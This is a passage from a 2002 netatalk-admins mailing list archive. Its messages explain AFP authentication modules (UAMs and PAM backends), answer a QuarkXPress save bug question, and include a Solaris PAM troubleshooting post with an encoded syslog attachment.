	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Wed, 20 Feb 2002 08:51:45 -0500 (EST)
Received: (from daemon@localhost)
	by roustabout.mr.itd.umich.edu (8.9.3/3.1u+) with LDAP id IAA23158
	for netatalk-admins@terminator.rsug.itd.umich.edu; Wed, 20 Feb 2002 08:51:45 -0500 (EST)
Received: (from daemon@localhost)
	by roustabout.mr.itd.umich.edu (8.9.3/3.1u+) with X.500 id IAA23145
	for netatalk.administrators-members@umich.edu; Wed, 20 Feb 2002 08:51:44 -0500 (EST)
Received: from mail45.fg.online.no (mail45-s.fg.online.no [148.122.161.45])
	by roustabout.mr.itd.umich.edu (8.9.3/3.1u+) with ESMTP id IAA23104
	for <netatalk-admins@umich.edu>; Wed, 20 Feb 2002 08:51:43 -0500 (EST)
Received: from 130.67.0.194 (ti100710a140-0066.dialup.online.no [130.67.0.194])
	by mail45.fg.online.no (8.9.3/8.9.3) with SMTP id OAA16839
	for <netatalk-admins@umich.edu>; Wed, 20 Feb 2002 14:51:41 +0100 (MET)
Date: 20 Feb 2002 14:49:53 +0100
Message-ID: <949577720gjermund@mac.com>
From: Gjermund G Thorsen <gjermund@mac.com>
Subject: Unix extensions and Macintosh Creator/Type mapping database
To: <netatalk-admins@umich.edu>
X-Mailer: QuickMail Pro 2.1 (Mac)
X-Priority: 3
MIME-Version: 1.0
Reply-To: Gjermund G Thorsen <gjermund@mac.com>
Content-Type: text/plain; charset="US-Ascii"
Content-Transfer-Encoding: 8bit
X-MIME-Autoconverted: from quoted-printable to 8bit by terminator.rsug.itd.umich.edu id IAA01555

You can now maintain your Unix Extensions and Macintosh Creator/Type setttings here:

HTTP://ext.comitas.no

download option implemented, not yet optimized though...


AppleVolumes.system_<<#_of_records>>


From netatalk.administrators-errors@umich.edu  Wed Feb 20 08:51:46 2002
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from kidgalahad.mr.itd.umich.edu (kidgalahad.mr.itd.umich.edu [141.211.125.18])
	by terminator.rsug.itd.umich.edu (3.5t) with ESMTP id IAA01571
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Wed, 20 Feb 2002 08:51:46 -0500 (EST)
Received: (from daemon@localhost)
	by kidgalahad.mr.itd.umich.edu (3.6u) with LDAP id g1KDpkp00518
	for netatalk-admins@terminator.rsug.itd.umich.edu; Wed, 20 Feb 2002 08:51:46 -0500 (EST)
Received: (from daemon@localhost)
	by kidgalahad.mr.itd.umich.edu (3.6u) with X.500 id g1KDpkl00508
	for netatalk.administrators-members@umich.edu; Wed, 20 Feb 2002 08:51:46 -0500 (EST)
Received: from mail.potsdam.edu (potsdam.edu [137.143.110.102])
	by kidgalahad.mr.itd.umich.edu (3.6u) with SMTP id g1KDpj100504
	for <netatalk-admins@umich.edu>; Wed, 20 Feb 2002 08:51:45 -0500 (EST)
Received: (qmail 31025 invoked by alias); 20 Feb 2002 13:48:33 -0000
Received: (qmail 29941 invoked from network); 20 Feb 2002 13:47:55 -0000
Received: from comp10574.potsdam.edu (137.143.111.133)
  by 0 with SMTP; 20 Feb 2002 13:47:55 -0000
Subject: Re: Strange errors in netatalk-1.5pre6
From: Matthew Keller <kellermg@potsdam.edu>
To: Morten Dreier <morten@dreier.no>
Cc: netatalk-admins@umich.edu
In-Reply-To: <3C73A6CC.3050406@dreier.no>
References: <3C73A6CC.3050406@dreier.no>
Content-Type: text/plain
Content-Transfer-Encoding: 7bit
X-Mailer: Evolution/1.0.1 
Date: 20 Feb 2002 08:50:37 -0500
Message-Id: <1014213037.1124.9.camel@comp10574>
Mime-Version: 1.0


	Yes, there are a number of known issues w/ Quark. I recommend upgrading
to a stable version of Netatalk 1.5 at your earliest convenience.

On Wed, 2002-02-20 at 08:38, Morten Dreier wrote:
> I get some strange errors with netatalk-1.5pre6 on a RedHat 7.2 machine.
> When we save files in QuarkXPress, we get a error message, and Quark is 
> unable to save the file. The file and the resource in the .AppleDouble 
> directory is owned by the same user. The permissions on the files are 
> correct. The timestamp on the resource file indicates that it has been 
> modified, but the file itself has not been modified.
> When we copy files to the server, everything works ok - it only occurrs 
> when we save the files from Quark itself.
> 
> Is this related to this ol prerelease version of netatalk or is this 
> something that I can configure in some way?
> 
> -- 
> Morten Dreier
> 
> 
-- 

Matthew Keller
Enterprise System Analyst
Computing & Technology Services
Information Services Division
State University of NY at Potsdam
Potsdam, NY USA

http://mattwork.potsdam.edu/


From netatalk.administrators-errors@umich.edu  Wed Feb 20 09:50:48 2002
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from easycomeeasygo.mr.itd.umich.edu (easycomeeasygo.mr.itd.umich.edu [141.211.14.26])
	by terminator.rsug.itd.umich.edu (3.5t) with ESMTP id JAA05545
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Wed, 20 Feb 2002 09:50:48 -0500 (EST)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u+) with LDAP id JAA12613
	for netatalk-admins@terminator.rsug.itd.umich.edu; Wed, 20 Feb 2002 09:50:48 -0500 (EST)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u+) with X.500 id JAA12589
	for netatalk.administrators-members@umich.edu; Wed, 20 Feb 2002 09:50:47 -0500 (EST)
Received: from users.phg-online.de (users.phg-online.de [62.245.158.230])
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u+) with ESMTP id JAA12548
	for <netatalk-admins@umich.edu>; Wed, 20 Feb 2002 09:50:46 -0500 (EST)
Received: from [195.30.238.157] (powerbook-tk.kaiser.link-m.de [195.30.238.157])
	by users.phg-online.de (8.9.3/8.9.3) with ESMTP id QAA26167;
	Wed, 20 Feb 2002 16:17:40 +0100
User-Agent: Microsoft-Outlook-Express-Macintosh-Edition/5.02.2106
Date: Wed, 20 Feb 2002 15:51:24 +0100
Subject: Re: An UAM question
From: Thomas Kaiser <Thomas.Kaiser@phg-online.de>
To: Jimmy <jimmy@falconstor.com.tw>, <netatalk-admins@umich.edu>
Message-ID: <B899767A.1C474%Thomas.Kaiser@phg-online.de>
In-Reply-To: <DKECINDAEAEPNEFEEGDIKEDCCBAA.jimmy@falconstor.com.tw>
Mime-version: 1.0
Content-type: text/plain; charset="ISO-8859-1"
Content-Transfer-Encoding: 8bit
X-MIME-Autoconverted: from quoted-printable to 8bit by terminator.rsug.itd.umich.edu id JAA05545

On Wed, 20 Feb 2002 17:06:55 +0800, Jimmy wrote:

> - -transall -uamlist uams_passwd.so -nosavepassword
> 
> I cannot login from mac.

Correct. You must specify UAMs, not the underlying modules for the backend
mechanisms.

> [...]
> What's wrong? But with uams_clrtxt.so, it works.

Once again (as we discussed this in the 'logging in' thread already):

There are 4 'standard' UAMs:

No User Authent        --> uams_guest.so (no authentication, guest login)

Cleartxt Passwrd       --> uams_clrtxt.so (password transmission in
                               cleartext between macintosh and server)

Randnum exchange       \_  uams_randnum.so (password encrypted equivalent
2-Way Randnum exchange /       to 56 bit DES)

DHCAST128              --> uams_dhx.so (password transmission strong
                               encrypted -- equivalent to 128 bit SSL)

(A detailled description from Leland Wallace can be found here:
<ftp://terminator.rsug.itd.umich.edu/unix/netatalk/archive/netatalk-admins-m
ail/0647.html>)

uams_guest.so has naturally no authentication features as it just enables
guest login.

uams_randnum.so handles the passwords itself, eg. via a file ~/.passwd (one
per user) with the password stored in cleartext _or_ via one central
afppasswd file (see 'man afppasswd' for details how to create/maintain this)

(BTW: the comments in afpd.conf regarding '-passwdfile' are _wrong_! The
default is not ~/.passwd and you won't see any messages in your logs if you
have a wrong formatted central afppasswd file on your system -- maybe this
will be fixed by the developers -- both the wrong comment and the lack of
logging in case something went wrong with parsing the afppasswd file -- IMO
it's inappropriate to get a 'wrong password' alert on the mac when afpd just
isn't able to parse the afppasswd file -- without logging this fact)

uams_clrtxt.so and uams_dhx.so can use different authentication backends,
actually uams_(dhx_)passwd.so or uams_(dhx_)pam.so

So both uams_clrtxt.so and uams_dhx.so are just symlinks to the
authentication backends, you want to use (either PAM or files like
/etc/passwd or /etc/shadow).

If it's a link to uams_passwd.so' then you will authenticate against
/etc/shadow or /etc/passwd and if it's linked to uams_pam.so then you will
use PAM (and in consequence that what you configured PAM to use for
authentication --> NIS, LDAP, Kerberos, whatever)

There is a difference between the UAM mechanism between AFP client and
server and the used authentication backend mechanism on the server itself.

Someone on this list is preparing an illustration regarding this (hopefully
he will be finished soon :-).

I supplied him with a sample chart regarding DHX:

+--------------------------------------------------+ .......................
| DHX UAM (built-in since AppleShare client 3.8.4, |     client-side UAM
|         available as a plug-in for 3.8.3)        |        support
+--------------------------------------------------+ .......................
|   Password (up to 64 bytes in length) will be    |
|    encrypted with 128 bit SSL, user will be      |     encryption and
|  authenticated against the server, but not vice  |     authentication
|  versa. Therefor weak against man-in-the-middle  |  between mac and server
|                    attacks                       |
+--------------------------------------------------+ .......................
|              DHX UAM --> uams_dhx.so             |     server-side UAM
|     (this has to be specified in afpd.conf)      |        support
+------------------------+-------------------------+ .......................
|    uams_dhx_pam.so     |   uams_dhx_passwd.so    |  authentication backend
+------------------------+-------------------------+ .......................
PAM                      |  either /etc/shadow or  |
-----+------------+------+  /etc/passwd depending  |  authentication scheme
LDAP |  Kerberos  |  NIS |  on configure settings  |
-----+------------+------+-------------------------+ .......................

Regards,

Thomas


From netatalk.administrators-errors@umich.edu  Wed Feb 20 10:30:23 2002
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from funinacapulco.mr.itd.umich.edu (funinacapulco.mr.itd.umich.edu [141.211.14.27])
	by terminator.rsug.itd.umich.edu (3.5t) with ESMTP id KAA07648
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Wed, 20 Feb 2002 10:30:23 -0500 (EST)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u+) with LDAP id KAA05832
	for netatalk-admins@terminator.rsug.itd.umich.edu; Wed, 20 Feb 2002 10:30:23 -0500 (EST)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u+) with X.500 id KAA05814
	for netatalk.administrators-members@umich.edu; Wed, 20 Feb 2002 10:30:22 -0500 (EST)
Received: from pragmatix.bangor.ac.uk (pragmatix.bangor.ac.uk [147.143.2.14])
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u+) with ESMTP id KAA05761
	for <netatalk-admins@umich.edu>; Wed, 20 Feb 2002 10:30:21 -0500 (EST)
Received: from dogmatix.bangor.ac.uk (dogmatix [147.143.2.239])
	by pragmatix.bangor.ac.uk (8.12.1/8.12.1) with ESMTP id g1KFUEi3007427
	for <netatalk-admins@umich.edu>; Wed, 20 Feb 2002 15:30:15 GMT
Received: from publix (publix [147.143.5.6])
	by dogmatix.bangor.ac.uk (8.11.6+Sun/8.9.3) with ESMTP id g1KFUDQ05382
	for <netatalk-admins@umich.edu>; Wed, 20 Feb 2002 15:30:14 GMT
Date: Wed, 20 Feb 2002 15:30:13 +0000 (GMT)
From: "S.Barbaresi" <iss033@bangor.ac.uk>
X-Sender:  <iss033@publix>
To: <netatalk-admins@umich.edu>
Subject: Re: authentication troubles
In-Reply-To: <B8984767.1C377%Thomas.Kaiser@phg-online.de>
Message-ID: <Pine.SOL.4.30.0202201519210.16567-200000@publix>
MIME-Version: 1.0
Content-Type: MULTIPART/MIXED; BOUNDARY="-559023410-52182039-1014219013=:16567"

  This message is in MIME format.  The first part should be readable text,
  while the remaining parts are likely unreadable without MIME-aware tools.
  Send mail to mime@docserver.cac.washington.edu for more info.

---559023410-52182039-1014219013=:16567
Content-Type: TEXT/PLAIN; charset=US-ASCII

> >> 4) In case you are using PAM, some more details, how PAM is set up (as
> >> Sebastian asked for already)

Solaris 8/netatalk 1.5.2/PAM and authentication failure.

A complete list of syslog messages are attached. PAM is authenticating
correctly as a wrong password results in:

  Feb 20 15:22:08 steffigraf PAM: [ID 427203 auth.debug] pam_authenticate:
  error Authentication failed

A correct password results in:

  Feb 20 12:23:05 steffigraf PAM: [ID 770223 auth.debug] pam_open_session:
  error Can not make/remove entry for session

Do I have to use PAM? If not, how do I turn PAM off? If I do have to use
pam what should be in pam.conf?

Sim


S.Barbaresi 					E-mail s.barbaresi@bangor.ac.uk
Computing Centre, UWB 				Tel (44) (01)248 382403 (ddi)
Sackville Road 					Fax (44) (01)248 383826 (ddi)
Bangor, Gwynedd LL57 1LD, UK

---559023410-52182039-1014219013=:16567
Content-Type: TEXT/PLAIN; charset=US-ASCII; name=msg
Content-Transfer-Encoding: BASE64
Content-ID: <Pine.SOL.4.30.0202201530130.16567@publix>
Content-Description: 
Content-Disposition: attachment; filename=msg

RmViIDIwIDE1OjI3OjI2IHN0ZWZmaWdyYWYgYXRhbGtkWzIzNTUyXTogW0lE
IDQ0MTU5MSB1c2VyLmluZm9dIHBsdW1iZWQgL2Rldi9obWUwDQpGZWIgMjAg
MTU6Mjc6MjYgc3RlZmZpZ3JhZiBhdGFsa2RbMjM1NTNdOiBbSUQgNjAyNjEw
IGRhZW1vbi5pbmZvXSByZXN0YXJ0ICgxLjUuMikNCkZlYiAyMCAxNToyNzoy
NiBzdGVmZmlncmFmIGF0YWxrZFsyMzU1M106IFtJRCA0MzA2OTAgZGFlbW9u
LmluZm9dIHNldHNvY2tvcHQgaW5jb21wYXRpYmxlIHcvIFNvbGFyaXMgU1RS
RUFNUyBtb2R1bGUuDQpGZWIgMjAgMTU6Mjc6Mjggc3RlZmZpZ3JhZiBsYXN0
IG1lc3NhZ2UgcmVwZWF0ZWQgMSB0aW1lDQpGZWIgMjAgMTU6Mjc6Mjggc3Rl
ZmZpZ3JhZiBhdGFsa2RbMjM1NTNdOiBbSUQgODc1MDc1IGRhZW1vbi5pbmZv
XSB6aXBfZ2V0bmV0aW5mbyBmb3IgaG1lMA0KRmViIDIwIDE1OjI3OjI4IHN0
ZWZmaWdyYWYgYXRhbGtkWzIzNTUzXTogW0lEIDM5MDE2OCBkYWVtb24uZGVi
dWddIHppcCBnbmlyZXBseSBmcm9tIDI1Ny4yNTMgKGhtZTAgMTIpDQpGZWIg
MjAgMTU6Mjc6Mjggc3RlZmZpZ3JhZiBhdGFsa2RbMjM1NTNdOiBbSUQgNzk1
NTM1IGRhZW1vbi5pbmZvXSB6aXBfcGFja2V0IGNvbmZpZ3VyZWQgaG1lMCBm
cm9tIDI1Ny4yNTMNCkZlYiAyMCAxNToyNzozMSBzdGVmZmlncmFmIGF0YWxr
ZFsyMzU1M106IFtJRCA5Mzk4MDAgZGFlbW9uLmluZm9dIHJ0bXBfcGFja2V0
IGdhdGV3YXkgMjU3LjI1MyB1cA0KRmViIDIwIDE1OjI3OjU2IHN0ZWZmaWdy
YWYgYXRhbGtkWzIzNTUzXTogW0lEIDEyODI0NyBkYWVtb24uaW5mb10gcmVh
ZHkgMC8wLzANCkZlYiAyMCAxNToyODowOCBzdGVmZmlncmFmIHBhcGRbMjM1
NjNdOiBbSUQgNjAyNjEwIGxwci5pbmZvXSByZXN0YXJ0ICgxLjUuMikNCkZl
YiAyMCAxNToyODoxNCBzdGVmZmlncmFmIGFmcGRbMjM1NjVdOiBbSUQgMjM1
MTc5IGRhZW1vbi5pbmZvXSBNYWMgRmlsZVN0b3JlOkFGUFNlcnZlckAqIHN0
YXJ0ZWQgb24gMjYxLjE4MzoxMjggKDEuNS4yKQ0KRmViIDIwIDE1OjI4OjE0
IHN0ZWZmaWdyYWYgYWZwZFsyMzU2NV06IFtJRCA5NTA0NzQgZGFlbW9uLmlu
Zm9dIEFTSVAgc3RhcnRlZCBvbiAxNDcuMTQzLjEuOTo1NDgoMikgKDEuNS4y
KQ0KRmViIDIwIDE1OjI4OjE0IHN0ZWZmaWdyYWYgYWZwZFsyMzU2NV06IFtJ
RCAxNDIyOTUgZGFlbW9uLmRlYnVnXSB1YW06IGxvYWRpbmcgKC91c3IvbG9j
YWwvYXRhbGsvZXRjL25ldGF0YWxrL3VhbXMvdWFtc19jbHJ0eHQuc28pDQpG
ZWIgMjAgMTU6Mjg6MTQgc3RlZmZpZ3JhZiBhZnBkWzIzNTY1XTogW0lEIDM5
ODE3NyBkYWVtb24uaW5mb10gdWFtOiB1YW1zX2NscnR4dC5zbyBsb2FkZWQN
CkZlYiAyMCAxNToyODoxNCBzdGVmZmlncmFmIGFmcGRbMjM1NjVdOiBbSUQg
Njc5ODQxIGRhZW1vbi5pbmZvXSB1YW06ICJDbGVhcnR4dCBQYXNzd3JkIiBh
dmFpbGFibGUNCkZlYiAyMCAxNToyODoyNiBzdGVmZmlncmFmIGFmcGRbMjM1
NjZdOiBbSUQgNTQ1MDM0IGRhZW1vbi5pbmZvXSBzZXNzaW9uIGZyb20gMjU5
LjE6MjUxIG9uIDI2MS4xODM6MTI5DQpGZWIgMjAgMTU6Mjg6MjYgc3RlZmZp
Z3JhZiBhZnBkWzIzNTY2XTogW0lEIDE1Nzc3MSBkYWVtb24uaW5mb10gY2xl
YXJ0ZXh0IGxvZ2luOiBzaW0NCkZlYiAyMCAxNToyODoyNiBzdGVmZmlncmFm
IFBBTTogW0lEIDcwMjU3NSBhdXRoLmRlYnVnXSBwYW1fc3RhcnQobmV0YXRh
bGsgc2ltKSAtIGRlYnVnID0gMQ0KRmViIDIwIDE1OjI4OjI2IHN0ZWZmaWdy
YWYgUEFNOiBbSUQgODU5MzE0IGF1dGguZGVidWddIHBhbV9zZXRfaXRlbSgx
KQ0KRmViIDIwIDE1OjI4OjI2IHN0ZWZmaWdyYWYgUEFNOiBbSUQgODU5MzE0
IGF1dGguZGVidWddIHBhbV9zZXRfaXRlbSgyKQ0KRmViIDIwIDE1OjI4OjI2
IHN0ZWZmaWdyYWYgUEFNOiBbSUQgODU5MzE0IGF1dGguZGVidWddIHBhbV9z
ZXRfaXRlbSg1KQ0KRmViIDIwIDE1OjI4OjI3IHN0ZWZmaWdyYWYgUEFNOiBb
SUQgODU5MzE0IGF1dGguZGVidWddIHBhbV9zZXRfaXRlbSgzKQ0KRmViIDIw
IDE1OjI4OjI3IHN0ZWZmaWdyYWYgUEFNOiBbSUQgODU5MzE0IGF1dGguZGVi
dWddIHBhbV9zZXRfaXRlbSg0KQ0KRmViIDIwIDE1OjI4OjI3IHN0ZWZmaWdy
YWYgUEFNOiBbSUQgMjA3MTMwIGF1dGguZGVidWddIHBhbV9hdXRoZW50aWNh
dGUoKQ0KRmViIDIwIDE1OjI4OjI3IHN0ZWZmaWdyYWYgUEFNOiBbSUQgMzA1
MzE0IGF1dGguZGVidWddIGxvYWRfbW9kdWxlczogL3Vzci9saWIvc2VjdXJp
dHkvcGFtX3VuaXguc28uMQ0KRmViIDIwIDE1OjI4OjI3IHN0ZWZmaWdyYWYg
UEFNOiBbSUQgMjY1MjI1IGF1dGguZGVidWddIGxvYWRfZnVuY3Rpb246IHN1
Y2Nlc3NmdWwgbG9hZCBvZiBwYW1fc21fYXV0aGVudGljYXRlDQpGZWIgMjAg
MTU6Mjg6Mjcgc3RlZmZpZ3JhZiBQQU06IFtJRCA4NTkzMTQgYXV0aC5kZWJ1
Z10gcGFtX3NldF9pdGVtKDYpDQpGZWIgMjAgMTU6Mjg6Mjcgc3RlZmZpZ3Jh
ZiBQQU06IFtJRCA0MjcyMDMgYXV0aC5kZWJ1Z10gcGFtX2F1dGhlbnRpY2F0
ZTogZXJyb3IgQXV0aGVudGljYXRpb24gZmFpbGVkDQpGZWIgMjAgMTU6Mjg6
Mjcgc3RlZmZpZ3JhZiBQQU06IFtJRCA4NTkzMTQgYXV0aC5kZWJ1Z10gcGFt
X3NldF9pdGVtKDYpDQpGZWIgMjAgMTU6Mjg6Mjcgc3RlZmZpZ3JhZiBQQU06
IFtJRCA2OTAwNTcgYXV0aC5kZWJ1Z10gcGFtX2VuZCgpOiBzdGF0dXMgPSBB
dXRoZW50aWNhdGlvbiBmYWlsZWQNCkZlYiAyMCAxNToyODozNiBzdGVmZmln
cmFmIGFmcGRbMjM1NjddOiBbSUQgNTQ1MDM0IGRhZW1vbi5pbmZvXSBzZXNz
aW9uIGZyb20gMjU5LjE6MjUxIG9uIDI2MS4xODM6MTMwDQpGZWIgMjAgMTU6
Mjg6MzYgc3RlZmZpZ3JhZiBhZnBkWzIzNTY3XTogW0lEIDE1Nzc3MSBkYWVt
b24uaW5mb10gY2xlYXJ0ZXh0IGxvZ2luOiBzaW0NCkZlYiAyMCAxNToyODoz
NiBzdGVmZmlncmFmIFBBTTogW0lEIDcwMjU3NSBhdXRoLmRlYnVnXSBwYW1f
c3RhcnQobmV0YXRhbGsgc2ltKSAtIGRlYnVnID0gMQ0KRmViIDIwIDE1OjI4
OjM2IHN0ZWZmaWdyYWYgUEFNOiBbSUQgODU5MzE0IGF1dGguZGVidWddIHBh
bV9zZXRfaXRlbSgxKQ0KRmViIDIwIDE1OjI4OjM2IHN0ZWZmaWdyYWYgUEFN
OiBbSUQgODU5MzE0IGF1dGguZGVidWddIHBhbV9zZXRfaXRlbSgyKQ0KRmVi
IDIwIDE1OjI4OjM2IHN0ZWZmaWdyYWYgUEFNOiBbSUQgODU5MzE0IGF1dGgu
ZGVidWddIHBhbV9zZXRfaXRlbSg1KQ0KRmViIDIwIDE1OjI4OjM2IHN0ZWZm
aWdyYWYgUEFNOiBbSUQgODU5MzE0IGF1dGguZGVidWddIHBhbV9zZXRfaXRl
bSgzKQ0KRmViIDIwIDE1OjI4OjM2IHN0ZWZmaWdyYWYgUEFNOiBbSUQgODU5
MzE0IGF1dGguZGVidWddIHBhbV9zZXRfaXRlbSg0KQ0KRmViIDIwIDE1OjI4
OjM2IHN0ZWZmaWdyYWYgUEFNOiBbSUQgMjA3MTMwIGF1dGguZGVidWddIHBh
bV9hdXRoZW50aWNhdGUoKQ0KRmViIDIwIDE1OjI4OjM2IHN0ZWZmaWdyYWYg
UEFNOiBbSUQgMzA1MzE0IGF1dGguZGVidWddIGxvYWRfbW9kdWxlczogL3Vz
ci9saWIvc2VjdXJpdHkvcGFtX3VuaXguc28uMQ0KRmViIDIwIDE1OjI4OjM2
IHN0ZWZmaWdyYWYgUEFNOiBbSUQgMjY1MjI1IGF1dGguZGVidWddIGxvYWRf
ZnVuY3Rpb246IHN1Y2Nlc3NmdWwgbG9hZCBvZiBwYW1fc21fYXV0aGVudGlj
YXRlDQpGZWIgMjAgMTU6Mjg6MzYgc3RlZmZpZ3JhZiBQQU06IFtJRCA4NTkz
MTQgYXV0aC5kZWJ1Z10gcGFtX3NldF9pdGVtKDYpDQpGZWIgMjAgMTU6Mjg6
MzYgc3RlZmZpZ3JhZiBsYXN0IG1lc3NhZ2UgcmVwZWF0ZWQgMSB0aW1lDQpG
ZWIgMjAgMTU6Mjg6MzYgc3RlZmZpZ3JhZiBQQU06IFtJRCA5OTc3MjYgYXV0
aC5kZWJ1Z10gcGFtX2FjY3RfbWdtdCgpDQpGZWIgMjAgMTU6Mjg6MzYgc3Rl
ZmZpZ3JhZiBQQU06IFtJRCAzMDUzMTQgYXV0aC5kZWJ1Z10gbG9hZF9tb2R1
bGVzOiAvdXNyL2xpYi9zZWN1cml0eS9wYW1fcm9sZXMuc28uMQ0KRmViIDIw
IDE1OjI4OjM2IHN0ZWZmaWdyYWYgUEFNOiBbSUQgMjY1MjI1IGF1dGguZGVi
dWddIGxvYWRfZnVuY3Rpb246IHN1Y2Nlc3NmdWwgbG9hZCBvZiBwYW1fc21f
YWNjdF9tZ210DQpGZWIgMjAgMTU6Mjg6MzYgc3RlZmZpZ3JhZiBQQU06IFtJ
RCAzMDUzMTQgYXV0aC5kZWJ1Z10gbG9hZF9tb2R1bGVzOiAvdXNyL2xpYi9z
ZWN1cml0eS9wYW1fcHJvamVjdHMuc28uMQ0KRmViIDIwIDE1OjI4OjM2IHN0
ZWZmaWdyYWYgUEFNOiBbSUQgMjY1MjI1IGF1dGguZGVidWddIGxvYWRfZnVu
Y3Rpb246IHN1Y2Nlc3NmdWwgbG9hZCBvZiBwYW1fc21fYWNjdF9tZ210DQpG
ZWIgMjAgMTU6Mjg6MzYgc3RlZmZpZ3JhZiBQQU06IFtJRCAzMDUzMTQgYXV0
aC5kZWJ1Z10gbG9hZF9tb2R1bGVzOiAvdXNyL2xpYi9zZWN1cml0eS9wYW1f
dW5peC5zby4xDQpGZWIgMjAgMTU6Mjg6MzYgc3RlZmZpZ3JhZiBQQU06IFtJ
RCAyNjUyMjUgYXV0aC5kZWJ1Z10gbG9hZF9mdW5jdGlvbjogc3VjY2Vzc2Z1
bCBsb2FkIG9mIHBhbV9zbV9hY2N0X21nbXQNCkZlYiAyMCAxNToyODozNiBz
dGVmZmlncmFmIFBBTTogW0lEIDk0MjAyMiBhdXRoLmRlYnVnXSBwYW1fc2V0
Y3JlZCgpDQpGZWIgMjAgMTU6Mjg6MzYgc3RlZmZpZ3JhZiBQQU06IFtJRCAz
MDUzMTQgYXV0aC5kZWJ1Z10gbG9hZF9tb2R1bGVzOiAvdXNyL2xpYi9zZWN1
cml0eS9wYW1fdW5peC5zby4xDQpGZWIgMjAgMTU6Mjg6MzYgc3RlZmZpZ3Jh
ZiBQQU06IFtJRCAyNjUyMjUgYXV0aC5kZWJ1Z10gbG9hZF9mdW5jdGlvbjog
c3VjY2Vzc2Z1bCBsb2FkIG9mIHBhbV9zbV9zZXRjcmVkDQpGZWIgMjAgMTU6
Mjg6MzYgc3RlZmZpZ3JhZiBQQU06IFtJRCA3NTA5ODggYXV0aC5kZWJ1Z10g
cGFtX29wZW5fc2Vzc2lvbigpDQpGZWIgMjAgMTU6Mjg6MzYgc3RlZmZpZ3Jh
ZiBQQU06IFtJRCAzMDUzMTQgYXV0aC5kZWJ1Z10gbG9hZF9tb2R1bGVzOiAv
dXNyL2xpYi9zZWN1cml0eS9wYW1fdW5peC5zby4xDQpGZWIgMjAgMTU6Mjg6
MzYgc3RlZmZpZ3JhZiBQQU06IFtJRCAyNjUyMjUgYXV0aC5kZWJ1Z10gbG9h
ZF9mdW5jdGlvbjogc3VjY2Vzc2Z1bCBsb2FkIG9mIHBhbV9zbV9vcGVuX3Nl
c3Npb24NCkZlYiAyMCAxNToyODozNiBzdGVmZmlncmFmIFBBTTogW0lEIDc3
MDIyMyBhdXRoLmRlYnVnXSBwYW1fb3Blbl9zZXNzaW9uOiBlcnJvciBDYW4g
bm90IG1ha2UvcmVtb3ZlIGVudHJ5IGZvciBzZXNzaW9uDQpGZWIgMjAgMTU6
Mjg6MzYgc3RlZmZpZ3JhZiBQQU06IFtJRCA2OTAwNTcgYXV0aC5kZWJ1Z10g
cGFtX2VuZCgpOiBzdGF0dXMgPSBDYW4gbm90IG1ha2UvcmVtb3ZlIGVudHJ5
IGZvciBzZXNzaW9uDQpGZWIgMjAgMTU6Mjg6Mzcgc3RlZmZpZ3JhZiBhZnBk
WzIzNTY2XTogW0lEIDUxMTYxMSBhdXRoLmVycm9yXSBhdHBfcnJlc3A6IENv
bm5lY3Rpb24gdGltZWQgb3V0DQpGZWIgMjAgMTU6Mjg6NDcgc3RlZmZpZ3Jh
ZiBhZnBkWzIzNTY3XTogW0lEIDUxMTYxMSBhdXRoLmVycm9yXSBhdHBfcnJl
c3A6IENvbm5lY3Rpb24gdGltZWQgb3V0DQpGZWIgMjAgMTU6Mjg6NDcgc3Rl
ZmZpZ3JhZiBhZnBkWzIzNTY2XTogW0lEIDUwNTk2MiBhdXRoLmVycm9yXSBh
ZnBfZGllOiBhc3Bfc2h1dGRvd246IENvbm5lY3Rpb24gdGltZWQgb3V0DQpG
ZWIgMjAgMTU6Mjg6NDcgc3RlZmZpZ3JhZiBhZnBkWzIzNTY2XTogW0lEIDcx
MTkzMSBhdXRoLmluZm9dIDAuMDRLQiByZWFkLCAwLjAwS0Igd3JpdHRlbg0K
RmViIDIwIDE1OjI4OjQ3IHN0ZWZmaWdyYWYgYWZwZFsyMzU2NV06IFtJRCA3
MDcxMzMgZGFlbW9uLmluZm9dIHNlcnZlcl9jaGlsZFswXSAyMzU2NiBkb25l
DQpGZWIgMjAgMTU6Mjg6NTcgc3RlZmZpZ3JhZiBhZnBkWzIzNTY3XTogW0lE
IDUwNTk2MiBhdXRoLmVycm9yXSBhZnBfZGllOiBhc3Bfc2h1dGRvd246IENv
bm5lY3Rpb24gdGltZWQgb3V0DQpGZWIgMjAgMTU6Mjg6NTcgc3RlZmZpZ3Jh
ZiBhZnBkWzIzNTY3XTogW0lEIDcxMTkzMSBhdXRoLmluZm9dIDAuMDRLQiBy
ZWFkLCAwLjAwS0Igd3JpdHRlbg0KRmViIDIwIDE1OjI4OjU3IHN0ZWZmaWdy
YWYgYWZwZFsyMzU2NV06IFtJRCA3MDcxMzMgZGFlbW9uLmluZm9dIHNlcnZl
cl9jaGlsZFswXSAyMzU2NyBkb25lDQo=
---559023410-52182039-1014219013=:16567--

From netatalk.administrators-errors@umich.edu  Wed Feb 20 10:38:05 2002
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from funinacapulco.mr.itd.umich.edu (funinacapulco.mr.itd.umich.edu [141.211.14.27])
	by terminator.rsug.itd.umich.edu (3.5t) with ESMTP id KAA08022
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Wed, 20 Feb 2002 10:38:04 -0500 (EST)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u+) with LDAP id KAA18420
	for netatalk-admins@terminator.rsug.itd.umich.edu; Wed, 20 Feb 2002 10:38:04 -0500 (EST)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u+) with X.500 id KAA18404
	for netatalk.administrators-members@umich.edu; Wed, 20 Feb 2002 10:38:04 -0500 (EST)
Received: from users.phg-online.de (users.phg-online.de [62.245.158.230])
